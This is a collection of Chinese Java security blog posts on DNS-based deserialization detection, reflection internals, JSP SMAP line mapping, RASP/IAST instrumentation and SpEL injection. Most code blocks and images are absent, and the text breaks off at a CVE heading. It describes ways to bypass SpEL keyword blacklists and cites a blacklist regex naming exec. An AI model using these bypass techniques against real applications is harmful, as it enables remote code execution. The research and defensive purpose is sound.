通过HashMap触发DNS检测Java反序列化漏洞

我们常说的反序列化漏洞一般是指readObject()方法处触发的漏洞,而除此以外针对不同的序列化格式又会产生不同的出发点,比如说fastjson会自动运行setter,getter方法。之后又有各种RMI,JNDI姿势去执行命令。现在常见的黑盒检测Java反序列化方式就是执行命令API,比如用一个gadget去执行nslookup xxx 最终通过服务器记录去判断。
但这种方式可能出现的一种问题是,你选择测试的gadget服务器正好没这个jar包或者更新过了,但却有另一个存在漏洞的jar包。这时候单一的gadget构造出的执行命令payload就会漏报。所以为了解决这种问题这里分享一个通过HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。

HashMap readObject & URLStreamHandler hashCode

HashMap最早出现在JDK 1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。
因为是研究反序列化问题,所以我们来看一下它的readObject方法Xnip2019-09-27_17-02-15
前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看putVal时候key进入了hash方法,跟进看

这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。
很幸运的我们发现了URL类,它有一个有趣的特点,就是当执行hashCode方法时会触发当前URLStreamHandler的hashCode方法。

我们可以继续跟进

主要就是这句代码了

屏幕快照 2019-09-27 下午5.15.04
很简单,就是这里最后触发了DNS查询。

也就是说我们现在思路是通过hashmap放入一个URL的key然后会触发DNS查询。这里需要注意一个点,就是在URLStreamHandler的hashCode方法中首先进行了一个缓存判断即如果不等于-1会直接return。

因为在生成hashMap put时候会调用到hashCode方法,所以会缓存下来,即hashcode不为-1。所以为了让被接收者触发DNS查询,我们需要先通过反射把hashcode值改为-1,绕过缓存判断。

最后生成的代码为

测试代码

调用栈
屏幕快照 2019-09-28 下午12.38.19

可以看到触发成功
屏幕快照 2019-09-28 下午12.32.02

ysoserial已经有加入这个方式 具体可见:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

参考:

https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration
https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/

深入理解Java反射中的invoke方法

什么是反射

反射(Reflection)是Java程序开发语言的特征之一,它允许运行中的Java程序获取自身的信息,并且可以操作类或对象的内部属性。主要是指程序可以访问、检测和修改它本身状态或行为的一种能力,并能根据自身行为的状态和结果,调整或修改应用所描述行为的状态和相关的语义。

Oracle 官方对反射的解释是:

Reflection enables Java code to discover information about the fields, methods and constructors of loaded classes, and to use reflected fields, methods, and constructors to operate on their underlying counterparts, within security restrictions.
The API accommodates applications that need access to either the public members of a target object (based on its runtime class) or the members declared by a given class. It also allows programs to suppress default reflective access control.

简而言之,通过反射,我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。程序中一般的对象的类型都是在编译期就确定下来的,而 Java 反射机制可以动态地创建对象并调用其属性,这样的对象的类型在编译期是未知的。所以我们可以通过反射机制直接创建对象,即使这个对象的类型在编译期是未知的。

反射的核心是 JVM 在运行时才动态加载类或调用方法/访问属性,它不需要事先(写代码的时候或编译期)知道运行对象是谁。

Java 反射主要提供以下功能:

  • 在运行时判断任意一个对象所属的类;
  • 在运行时构造任意一个类的对象;
  • 在运行时判断任意一个类所具有的成员变量和方法(通过反射甚至可以调用private方法);
  • 在运行时调用任意一个对象的方法

重点:是运行时而不是编译时

反射的主要用途

很多人都认为反射在实际的 Java 开发应用中并不广泛,其实不然。当我们在使用 IDE(如 Eclipse,IDEA)时,当我们输入一个对象或类并想调用它的属性或方法时,编译器就会自动列出它的属性或方法,这里就会用到反射,当然也有的用到了语法树。

在 Web 开发中,我们经常能够接触到各种可配置的通用框架。为了保证框架的可扩展性,它们往 往借助 Java 的反射机制,根据配置文件来加载不同的类。举例来说,Spring 框架的依赖反转 (IoC),便是依赖于反射机制。

反射invoke实现原理

invoke方法用来在运行时动态地调用某个实例的方法
它的实现代码如下:

1.权限检查

通过代码我们可以看到,首先invoke方法会检查AccessibleObject的override属性的值。而AccessibleObject类是实现了AnnotatedElement,它是Field、Method和Constructor对象的基类。它提供了将反射的对象标记为在使用时取消默认Java语言访问控制检查的能力。对于公共成员、默认(打包)访问成员、受保护成员和私有成员,在分别使用 Field、Method或Constructor对象来设置或获得字段、调用方法,或者创建和初始化类的新实例的时候,会执行访问检查。
override的值默认是false,表示需要权限调用规则。我们常使用的setAccessible方法就是将其设置为true,从而忽略权限规则,调用方法时无需检查权限。
继续往下看,当其需要权限调用则走Reflection.quickCheckMemberAccess,检查方法是否为public,如果是的话跳出本步。如果不是public方法,那么用Reflection.getCallerClass()方法获取调用这个方法的Class对象

这是一个native方法,我们从openJDK源码中去找它的JNI入口(Reflection.c)

具体实现在hotspot/src/share/vm/prims/jvm.cpp
屏幕快照 2019-09-08 下午4.10.28

获取了这个Class对象caller后用checkAccess方法做一次快速的权限校验

这里主要是进行一些基本的权限检查,以及使用缓存机制。

2.调用MethodAccessor的invoke方法

我们主要关注这个流程中的操作

首先要了解Method对象的基本构成,每个Java方法有且只有一个Method对象作为root,它相当于根对象,对用户不可见。当我们创建Method对象时,我们代码中获得的Method对象都相当于它的副本(或引用)。root对象持有一个MethodAccessor对象,所以所有获取到的Method对象都共享这一个MethodAccessor对象,因此必须保证它在内存中的可见性。
而当第一次调用一个Java方法对应的Method对象的invoke()方法之前,实现调用逻辑的MethodAccessor对象还没有创建,所以通过reflectionFactory创建MethodAccessor并更新给root,然后调用MethodAccessor.invoke()完成反射调用。
可以看到invoke方法实际是委派给了MethodAccessor类型的ma对象来处理。MethodAccessor是一个接口,有两个实现类。一个委派实现(DelegatingMethodAccessorImpl),一个本地实现(NativeMethodAccessorImpl)。这里调用的委派实现主要是为了在本地实现和动态实现之间做切换。考虑到许多反射调用仅会执行一次,Java虚拟机设置了一个阈值15(是从0开始计算,>15),当某个反射调用的调用次数<=15 时,采用本地实现;当大于15时,便开始动态生成字节码,并将委派实现的委派对象切换至动态实现。这个过程我们称之为Infation。
这里我们先通过demo测试看一下委派实现对本地实现和动态实现的切换,再具体分析其两种invoke的底层实现。

运行结果

可以看到如果第一次invoke某方法,它实际调用的是本地实现。
接着我们修改一下代码

结果
Xnip2019-09-08_17-06-41
可以看到版本15后切换为动态实现

下面我们来从源码层面分析上述过程
因为methodAccessor实例由reflectionFactory对象操控生成,所以我们先来看一下ReflectionFactory类的源码
屏幕快照 2019-09-08 下午5.23.45
inflationThreshold就是我们之前说的阈值

可以看到newMethodAccessor根据不同的条件分别选择了本地实现和动态实现,动态实现和本地实现相比,其运行效率要快上20倍。这是因为动态实现无需经过Java到C++再到Java的切换,但由于生成字节码十分耗时,仅调用一次的话,反而是本地实现要快上3到4倍。
为了尽可能地减少性能损耗,HotSpot JDK采用我们之前提到的“inflation”的技巧,也就是让Java方法在被反射调用时,开头若干次使用native版,等反射调用次数超过阈值时则生成一个专用的MethodAccessor实现类,生成其中的invoke()方法的字节码,以后对该Java方法的反射调用就会使用Java版本。 这项优化是从JDK 1.4开始的。
实际上如果你看过fastjson源码,就能发现它为了优化性能在json转对象时也加入了这种动态生成的方法,主要也通过使用asm完成。

本地实现

一开始(native版)会生产NativeMethodAccessorImplDelegatingMethodAccessorImpl两个对象。DelegatingMethodAccessorImpl是一个中间层,是为了在native版与Java版的MethodAccessor之间进行切换。
我们主要关注NativeMethodAccessorImpl

每次调用其invoke时会做一个累加,判断是否到达阙值,如果没有则调用native的invoke0方法,当超过时则调用MethodAccessorGenerator.generateMethod(),并将其设置到DelegatingMethodAccessorImpl的delegate,这样下次就会直接调用到动态实现的位置。

下面我们从jvm底层分析这里的native实现invoke0

JVM_InvokeMethod在这里 hotspot/src/share/vm/prims/jvm.cpp 实现
屏幕快照 2019-09-08 下午6.06.08
其关键是

跟进hotspot/src/share/vm/runtime/reflection.cpp

在这之前先对JVM的oop-klass做一个简单的介绍:
1.oop(ordinary object pointer):类型其实是 oopDesc*,在 Java 程序运行的过程中,每创建一个新的对象,在 JVM 内部就会相应地创建一个对应类型的 oop 对象。实际上就是普通对象指针,用于描述对象的实例信息。各种 oop 类的共同基类为 oopDesc 类。
一个OOP对象包含以下几个部分:

  • 对象头 (header)
    • Mark Word,主要存储对象运行时记录信息,如hashcode, GC分代年龄,锁状态标志,线程ID,时间戳等
    • 元数据指针,即指向方法区的instanceKlass实例
  • 实例数据。存储的是真正有效数据,如各种字段内容,各字段的分配策略为longs/doubles、ints、shorts/chars、bytes/boolean、oops(ordinary object pointers),相同宽度的字段总是被分配到一起,便于之后取数据。父类定义的变量会出现在子类定义的变量的前面。
  • 对齐填充。仅仅起到占位符的作用,并非必须。

2.klass:Java类在JVM中的表示,是对Java类的描述。简单的说是Java类在HotSpot中的c++对等体,用来描述Java类。klass是什么时候创建的呢?一般jvm在加载class文件时,会在方法区创建instanceKlass,表示其元数据,包括常量池、字段、方法等。
网上的oop-klass模型示例图很多,我随便找了一个:
2579123-146cd049168f02e
JVM就是用这种方式,将一个对象的数据和对象模型进行分离。普遍意义上来说,我们说持有一个对象的引用,指的是图中的handle(存放在栈区),它是oop(存放在堆区)的一个封装。

我们再看代码Reflection::invoke_method()中接受的method_mirror(oop)就是我们要反射调用的方法。然后代码调用了Reflection::invoke()
跟进之后最终到JavaCalls::call()执行
位于hotspot/src/share/vm/runtime/javaCalls.cpp

最后的os_exception_wrapper其实就是调用了call_help,也就是说本地实现的反射最终的方法执行是通过JavaCalls::call_helper方法来完成的

上面代码中StubRoutines::call_stub()返回的是一个函数指针,在执行上面的call_stub()时,会先将参数先压入堆栈。
这个函数指针指向什么地方呢,这是和机器类型有关的,以X86-32为例,看hotspot/src/cpu/x86/vm/stubGenerator_x86_32.cpp里面
下面大家会看到很多类似汇编指令的代码,其实这些不是指令,而是一个个用来生成汇编指令的方法。JVM是通过MacroAssembler来生成指令的。我会将具体的执行过程通过注释的方式插入到代码中

可以简化来看

它实际首先建立了一个栈帧,这个栈帧里面保存了一些重要的数据,再把Java方法的参数压入栈。当这一步完成,栈帧变成了这个样子:
20190522101723741_YEBRCZ

代码中最终会走call rax相当于call entry_point,entry_point例程和call_stub例程一样,都是用汇编写的来执行Java方法的工具。这个entry_point即解释器入口点,最终的方法执行过程其实是在这里面的。
这个entry_point从何而来,从method->from_interpreted_entry(),从methodOopDesc::link_method中获取address entry = Interpreter::entry_for_method(h_method),也就是说如果不用jit的,直接调用解析器的入口,由解释器再进行操作。

动态实现

主要看MethodAccessorGenerator类generate方法
实际就是通过asm来生成对应的java字节码来调用方法
我们可以简单来分析一下关键代码
屏幕快照 2019-09-09 下午6.49.27
可见动态生成的类名为GeneratedMethodAccessor+编号

我们找到对应的类 来看看它写入字节码的几个关键操作
Xnip2019-09-09_19-04-09
可见代码生成对应的字节码,这段代码主要是需要调用的方法signature等信息放到常量池里,用于后续code区调用

后续生成code区字节码的方法是emitInvoke

可以看到生成的字节码,里面引入了HowReflect.targetMethod
Xnip2019-09-10_22-37-39

最后可以整体看一下字节码反编译成的Java文件,即可以理解为动态实现就是通过生成这样一个java类去调用指定方法。

参考

https://www.sczyh30.com/posts/Java/java-reflection-1/
https://www.jianshu.com/p/4eeb057b509e
https://www.jianshu.com/p/b6cb4c694951
https://www.jianshu.com/p/3b311109050b
https://blog.csdn.net/qq_26222859/article/details/81335542
http://hsmemo.github.io/articles/nolC3LIO6Q.html
https://blog.csdn.net/wenyuan65/article/details/81145900
https://www.iteye.com/blog/xieyj-236704
https://www.jianshu.com/p/b5967bbe02c4
http://www.ishenping.com/ArtInfo/497633.html

根据StackTrace中java行号定位jsp行号的方法

前言

在做相关插桩的研究的过程中发现针对jsp中编写java代码的情况,因为容器会将jsp转为servlet的java文件,所以无法有效的定位到其源jsp文件的内容。
此处以openRASP为例,因为无法有效的定位到jsp文件所在内容,所以会给开发人员寻找具体代码造成困难。
屏幕快照 2019-07-05 下午12.59.51
由此做了相关方面的研究,并给出对应的解决方法。

jsp的编译顺序(Tomcat为例)

  1. getJspConfigPageEncoding
  2. determineSyntaxAndEncoding
  3. 解析成 Node.Nodes parsedPage 对象,即取出所有节点
  4. 解析每个节点

其中在第四步我们主要关注jsp中的java代码(ScriptingElement)是怎么执行的

  1. new一个Node节点,然后把java的字符串完整地赋值给Node的text属性,然后把node添加到Parent Node 队列(List)里面。
  2. 读取这些Nodes,将其转换成java源代码,然后在调用java编译器将源代码编译成class文件。(注意:这个功能相当于是把字符串,转换成了java字节码)

这个过程,调用了SmapUtil将上面那些nodes转换成Java源文件,然后调用JDTCompiler工具类,将Java源文件编译成.class文件,Tomcat调用的是org.eclipse.jdt.internal.compiler.*包下面的编译工具,实际上JDK也为我们提供了自己手动编译Java文件的方法,JDK 1.6可以用javax.tools.JavaCompiler

两种定位方法

1.Node.Nodes

实际上在使用Tomcat跑jsp时,我们可以通过抛出一个异常来查看,它其实已经为我们定位了jsp文件的位置。
屏幕快照 2019-07-04 上午10.33.23
在调试tomcat源码我们可以跟进到createJavacError这个方法
屏幕快照 2019-07-07 下午1.54.22
可以看到它主要是获取了编译流程中的Node.Nodes parsedPage对象,然后获取jsp行号进行对应的操作。因为这种获取方法是在编译中进行的,所以我们没办法使用插桩的方法在编译完成后获取到对应关系,也不方便从编译开始就保存所有的node,所以此处细节不详细介绍。

2.SMAP

在一些IDE中debug时可以发现也同样为我们定位好了jsp文件

而它实现的原理主要是通过解析SMAP来完成的,SMAP信息默认会保存在编译后生成的class文件中,所以接下来会主要介绍SMAP的相关内容。

JSR-45规范

JSR-45(Debugging Support for Other Languages)为那些非JAVA语言写成,却需要编译成JAVA代码,运行在JVM中的程序,提供了一个进行调试的标准机制。
JSR-45是这样规定的:JSP被编译成JAVA代码时,同时生成一份JSP文件名和行号与JAVA行号之间的对应表(SMAP)。JVM在接受到调试客户端请求后,可以根据这个对应表(SMAP),从JSP的行号转换到JAVA代码的行号;JVM发出事件通知前, 也根据对应表(SMAP)进行转化,直接将JSP的文件名和行号通知调试客户端。

SMAP

根据JSR-45规范我们可以知道SMAP为jsp文件和java文件行号之间的对应表,在调试中会用于获取对应关系。
在Tomcat中对于jsp引擎的配置中有这样的两个参数

  • dumpSmap JSR45 调试的 SMAP 信息是否应转储到一个文件?布尔值,默认为 false。如果 suppressSmap 为 true,则该参数值为 false。
  • suppressSmap 是否禁止 JSR45 调试时生成的 SMAP 信息?true 或 false,缺省为 false。

对于其他容器,如jetty,Glassfish等一样遵守JSR-45规范,拥有关于SMAP上述两个属性配置。其中dumpSmap用于生成一个专门的SMAP文件,如XXX_jsp.class.smap。而suppressSmap默认配置为false即默认会生成SMAP信息在class文件中,我们可以通过 UltraEdit打开生成的Class文件就可以找到SourceDebugExtension属性,这个属性用来保存SMAP。
或者我们也可以直接使用

来查看反编译后的附加信息
屏幕快照 2019-07-07 下午4.05.05
首先注明JAVA代码的名称:index_jsp.java,然后是 stratum 名称:JSP。随后是JSP文件的名称 :index.jsp。最后也是最重要的内容就是源文件文件名/行号和目标文件行号的对应关系(*L 与 *E之间的部分)

在规范定义了这样的格式:

源文件行号(InputStartLine) 目标文件开始行号(OutputStartLine) 是必须的。
屏幕快照 2019-07-07 下午4.31.15

详细的SMAP语法和映射规则等信息 可以去https://download.oracle.com/otndocs/jcp/dsol-1.0-fr-spec-oth-JSpec/ 下载JSR-45文档查看

ASM示例

ASM方式获取SMAP
1.ClassNode

2.visitSource

从visitSource中获取debug信息

屏幕快照 2019-07-07 下午5.39.59
接下来主要就是对SMAP的解析,然后根据编译后的行号定位jsp行号。
网上已经有一些开源的对SMAP解析比较好的项目,可以使用:https://github.com/ikysil/sourcemap
我们定义一个SmapInfo用来存放jsp信息与行号,定位行号时我们用解析后的stratum与生成的java文件行号来计算出jsp行号,最终生成一个SmapInfo。

写了个demo测试获取生成java文件的187行所对应jsp行号
屏幕快照 2019-07-08 上午11.37.43
可以看到获取正确
屏幕快照 2019-07-08 上午11.39.11

替换StackTrace思路

通过StackTrace中java代码行号定位jsp代码行号,同时替换StackTrace的思路大致如下
smap-4
首先jsp生成的类进入后将其SMAP信息解析为stratum并将其和className放入一个全局的map中。之后对trace的触发结束增加操作,首先判断栈里面的className是否和map中相同,如果相同则获取stratum,然后用栈中的行号与stratum中对应生成一个smapInfo(有jsp文件信息和具体行号),最后将当前栈替换为新生成的栈,其他信息不变,用smapInfo内容将文件名和行号等信息替换,即替换为jsp的文件名与行号等信息。

参考

https://blog.csdn.net/zollty/article/details/86138507
https://www.ibm.com/developerworks/cn/opensource/os-jspdebug/index.html
https://jcp.org/en/jsr/detail?id=45

插桩技术在Java安全中的应用简述

介绍

随着信息技术的发展,软件开发技术呈多样性发展趋势,其中Java在开发领域具有一定代表性。软件效率的提高同时增大了漏洞发现与防御的挑战。在当前WAF与静态代码检测都发展迅速的情况下,WAF在一些特殊情况下可能无法正确拦截,而静态检测的缺点在于误报率高。因此需要进行动态交互式监测,由此可以从底层对于攻击向量进行检测或者验证程序中是否实际存在安全漏洞。

插桩技术是在保证目标程序原有逻辑完整的情况下,在特定的位置插入代码段,从而收集程序运行时的动态上下文信息。

目前基于插桩技术实现Java程序的动态交互安全监测已经有一些实现形式,如RASP,IAST。在Java中插桩通过Instrument以及字节码操作工具(如:ASM,Javassist,Byte Buddy等)实现。接下来会简要介绍该技术以及相关知识内容。

相关知识

Instrument

Java SE 5引入了一个静态Instrument的概念,利用它我们可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在JVM上的程序,可以在程序启动前修改类的定义。这样的特性实际上提供了一种虚拟机级别支持的AOP实现方式,使得开发者无需对应用程序做任何升级和改动,就可以实现某些AOP的功能了。
在应用启动时,通过-javaagent参数来指定一个代理程序。
详细介绍见:https://www.ibm.com/developerworks/cn/java/j-lo-jse61/

Java Instrument工作原理

javaagent
00218c2023a2ba140887543f88a4fd99

  1. 在JVM启动时,通过JVM参数-javaagent,传入agent jar,Instrument Agent被加载,调用其Agent_OnLoad函数;
  2. 在Instrument Agent 初始化时,注册了JVMTI初始化函数eventHandlerVMinit;
  3. 在JVM启动时,会调用初始化函数eventHandlerVMinit,启动了Instrument Agent;
  4. 用sun.instrument.instrumentationImpl类里的方法loadClassAndCallPremain方法去初始化Premain-Class指定类的premain方法。初始化函数eventHandlerVMinit,注册了class解析的ClassFileLoadHook函数;
  5. 调用应用程序的main开始执行,准备解析;
  6. 在解析Class之前,JVM调用JVMTI的ClassFileLoadHook函数,钩子函数调用sun.instrument.instrumentationImpl类里的transform方法,通过TransformerManager的transformer方法最终调用我们自定义的Transformer类的transform方法;
  7. 因为字节码在解析Class之前改的,直接使用修改后的字节码的数据流替代,最后进入Class解析,对整个Class解析无影响;
  8. 重新加载Class依然重新走6-7步骤;

Java字节码操作工具

BCEL
这是Apache Software Fundation的jakarta项目的一部分。BCEL它可以让你深入JVM汇编语言进行类的操作的细节。
ASM
是一个轻量及java字节码操作框架,直接涉及到JVM底层的操作和指令,性能高,功能丰富。
Javassist
是一个开源的分析、编辑和创建java字节码的类库。性能消耗较⼤大,使⽤用容易。
Byte Buddy
是一个字节码生成与操作库,操作起来更简单。

示例

通过插桩获取SpEL执行中表达式的值(使用Byte Buddy)
Agent:

Interceptor:

程序运行时配置

效果:
屏幕快照 2019-03-12 下午12.39.35

应用

RASP

RASP(Runtime application self-protection)运行时应用自我保护,RSAP将自身注入到应用程序中,与应用程序融为一体,实时监测、阻断攻击,使程序自身拥有自保护的能力。并且应用程序无需在编码时进行任何的修改,只需进行简单的配置即可。
7195ace984937ccbddc171ece82e237e
可见百度开源的OpenRASP(https://rasp.baidu.com)
check

IAST

IAST(Interactive Application Security Testing)交互式应用安全测试,是一种灰盒测试技术。结合SAST和DAST的优点,在模拟黑客外部攻击的同时,对内部实时数据进行监视,提高测试精度。
两种模式
1.Active IAST (主动型)
一个组件产生恶意攻击流程,另一个组件在运行时监视应用。由此来达到漏洞定位以及减少误报。即RASP Agent + DAST = IAST
图片3
可以参见Burpsuite的infiltrator(https://portswigger.net/burp/documentation/infiltrator)
屏幕快照 2019-03-11 下午6.05.33

2.Passive IAST (被动型)
在运行时监视应用并分析代码,它不会主动对Web应用程序执行攻击,而是纯粹被动地分析检测代码。这实际上是一个巨大的优势,因为它不会影响同时运行的其他测试活动,并且只需要业务测试(手动或自动)来触发安全测试。
iast-architecture

IAST如何分析
IAST类似于APM,使用安全传感器来检测应用程序和API。安全相关事件由传感器直接在正在运行的应用程序进行监测,并传递给分析引擎,分析引擎汇总这些事件并识别代码执行的易受攻击程度。
IAST传感器创建了一系列与安全相关的事件,并这些事件提供给分析引擎。该引擎可以执行各种规则。
10934490-image1

In effect, IAST establishes guardrails for a program. If the stream of telemetry from the sensors indicates that the behavior of the program has violated one of these guardrails, it is reported as a vulnerability.

总结

插桩技术可以很好的用于交互式应用检测与程序运行时的自我保护,它通过Java探针达到可以在执行代码底层分析上下文环境的能力。随着计算机各个方面性能的整体提高,也已成为当前安全监测中值得研究的一个方向。
10934497-picture3

参考

http://blog.nsfocus.net/rasp-tech/
http://kns.cnki.net/KCMS/detail/detail.aspx?dbcode=CMFD&filename=1014026901.nh
http://ouyblog.com/2019/03/基于Java-Agent与Javassist实现零侵入AOP
https://www.jianshu.com/p/9f4e8dcb3e2f
https://github.com/gyyyy/footprint/blob/f0f811fe2302df8cca9a151660f9d96d4b030784/articles/2018/application-security-testing-cheatsheet.md
http://www.zjtbzx.gov.cn/html/2018/08/31/9744bdb6-cea3-4c51-aa7b-aa76ea647bfa.htm
https://blog.secodis.com/2015/11/26/the-emerge-of-iast/
http://sectooladdict.blogspot.com/2017/05/dast-vs-sast-vs-iast-modern-ssldc-best.html
https://dzone.com/refcardz/introduction-to-iast?chapter=1

由浅入深SpEL表达式注入漏洞

SpEL介绍

认识SpEL

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。除此以外SpEL还能做的有很多,从官方文档中我们可以看到,SpEL支持以下功能。

  • Literal expressions
  • Boolean and relational operators
  • Regular expressions
  • Class expressions
  • Accessing properties, arrays, lists, maps
  • Method invocation
  • Relational operators
  • Assignment
  • Calling constructors
  • Bean references
  • Array construction
  • Inline lists
  • Ternary operator
  • Variables
  • User defined functions
  • Collection projection
  • Collection selection
  • Templated expressions

基础用法以及使用场景

上方功能中加粗的几项是我们在其表达式安全中重点学习的地方,我们首先来看SpEL的常见用法,然后会依次介绍其中几项功能的基本用法,以及在部分框架中SpEl的使用位置。

1.SpEL API

这里使用了SpEL API来评估文字字符串表达式“Hello World”。我们通常用该方式来测试或者使用SpEL表达式。
其中接口ExpressionParser负责解析表达式字符串。在这个例子中,表达式字符串是由周围的单引号表示的字符串文字。之后接口Expression负责评估以前定义的表达式字符串。
所以说上述代码含义为首先创建ExpressionParser解析表达式,之后放置表达式,最后通过getValue方法执行表达式,默认容器是spring本身的容器:ApplicationContext

2.SpEL语法

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}

其中属性名称引用还可以用$符号 如:${someProperty}
除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

T()运算符的结果会返回一个java.lang.Math类对象。

具体常见表达式用法会在4.功能用法示例中给出。

3.SpEL在bean定义中

  1. XML配置
  2. 基于注解的使用

4.功能用法示例

Class expressions
1.类类型表达式
SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用T()操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL内置了java.lang包下的类声明,也就是说java.lang.String可以通过T(String)访问,而不需要使用全限定名。
因此我们通过 T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性:
如:

成功弹出计算器
2.类实例化
使用new可以直接在SpEL中创建实例,需要创建实例的类要通过全限定名进行访问。
如:

Method invocation
方法使用典型的Java编程语法来调用。
如:

Calling constructors
可以使用new调用构造函数。除了基元类型和字符串(其中可以使用int、float等)之外,所有的类都应该使用完全限定的类名。
如:

Bean references
如果解析上下文已经配置,则可以使用@符号从表达式中查找bean。

Variables
变量定义通过EvaluationContext接口的setVariable(variableName, value)方法定义;在表达式中使用#variableName引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象,使用#root引用根对象,使用#this引用当前上下文对象。
如:

在SpEL中比较常见的用途是针对一个特定的对象实例(称为root object)提供被解析的表达式字符串,当我们把contextroot object设置为一个对象时,我们在取的时候可以省略root对象这个前缀了。如下:
首先定义一个类

设置root object后SpEL执行以及结果如下

这里在执行表达式时,SpEL会在内部使用反射从根对象中获取/设置属性的值。

User defined functions
用户可以在SpEL注册自定义的方法,将该方法注册到StandardEvaluationContext 中的registerFunction(String name, Method m)方法。
如:
我们通过JAVA提供的接口实现字符串反转的方法。

我们可以通过如下代码将方法注册到StandardEvaluationContext并且来使用它。

Templated expressions
表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用#{}作为分隔符。
如:

该字符串是通过连接文字”random number is”与 计算表达式的#{}定界符获取的结果,在此情况下的结果 中调用一个随机()方法。第二个参数的方法parseExpression() 是类型ParserContext的。在ParserContext接口用于影响如何 表达被解析,以便支持所述表达模板的功能。的TemplateParserContext的定义如下所示。

更多细节可查看官方文档

SpEL导致的任意命令执行

漏洞原因

从上方功能的类类型表达式示例中,我们可以看到成功执行了系统的命令,而这也就是整个SpEL安全中造成RCE漏洞的区域。因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
屏幕快照 2019-01-17 下午10.06.09

其中容易造成漏洞的两个位置是
1.针对一个特定的对象实例提供被解析的表达式字符串
如之前用法示例中Variables所介绍,可能造成指定属性名被构造成恶意代码
2.双重EL表达式评估
如:

这个很明显通过两次EL表达式执行后,如果可以控制传入的directoryNameForPopup参数为恶意代码就会造成漏洞发生

我们可以再看下SpEL提供的两个EvaluationContext的区别。
(EvaluationContext评估表达式以解析属性,方法或字段并帮助执行类型转换时使用该接口。有两个开箱即用的实现。)

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。

所以说指定正确EvaluationContext,是防止SpEl表达式注入漏洞产生的首选,之前出现过相关的SpEL表达式注入漏洞,其修复方式就是使用SimpleEvaluationContext替代StandardEvaluationContext

常用payload

关键字黑名单过滤绕过:
可以参考之前Code-Breaking Puzzles — javacon的这道题目(writeup http://rui0.cn/archives/1015 ),主要通过正则匹配java关键词(如:java.+lang exec.*\(等)来防御,其绕过方式有两种 如下:

  1. 利用反射构造
  2. 利用ScriptEngineManager构造

在Nuxeo RCE中也有个黑名单绕过,因为它过滤了.getClass(
所以采取的姿势是通过SpEL语法的集合选择绕过,payload如下。具体分析可见(http://www.polaris-lab.com/index.php/archives/613

除此以外当执行的系统命令被过滤或者被URL编码掉时我们可以通过String类动态生成字符
如要执行的命令为open /Applications/Calculator.app我们可以采用new java.lang.String(new byte[]{<ascii value>,<ascii value>,...})或者concat(T(java.lang.Character).toString(<ascii value>))嵌套来绕过
两种构造方式的python脚本如下:

加工一下即为

成功执行
屏幕快照 2019-01-17 下午11.41.33

其次如果有输出点需要回显可以使用

[更新-2019.4.14]因为JAVA9新增了JShell,所以我们也可以利用这个功能执行命令 @sagar38 from Twitter

漏洞案例分析

SpringBoot SpEL表达式注入漏洞

影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0

首先搭建存在漏洞版本的SpringBoot,创建一个controller并抛出异常
只要在异常信息中包含SpEL表达式即可注入

请求地址

可以看到成功输出
屏幕快照 2019-01-18 下午5.22.29
其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView

该类调用处为

可以知道SpelView主要是为了解析Whitelabel Error Page模板页面去填充其中的相关数据
SpelView中,首先我们可以观察到其使用了StandardEvaluationContext

之后

用于递归解析在${...}中的表达式,也就是这里导致SpEl表达式注入并执行。其中用到SpEl表达式解析执行的目的主要是为了从当前contextrootObject取相关数据 如timestamp(上方功能用法示例中-> Variables 中介绍过)
屏幕快照 2019-01-18 下午7.10.45

大致流程为PropertyPlaceholderHelper类中通过parseStringValue方法递归字符串找到目标去掉 $(),这个方法中调用resolvePlaceholder方法来在context中找到对应的name,并在这里执行了getValue操作。由此造成命令执行。代码如下。

其核心思想就是在递归中从context下的message中取出需要再次递归解析的$(payload),由此来在下一次的解析后去掉$()并把其中payload当作传入的name参数来执行getValue操作。
屏幕快照 2019-01-18 下午7.25.45

其补丁是创建了一个新的NonRecursivePropertyPlaceholderHelper类,来防止递归解析路径中或者名字中含有的表达式。
详见: https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

Spring Data Commons远程代码执行漏洞(CVE-2018-1273)

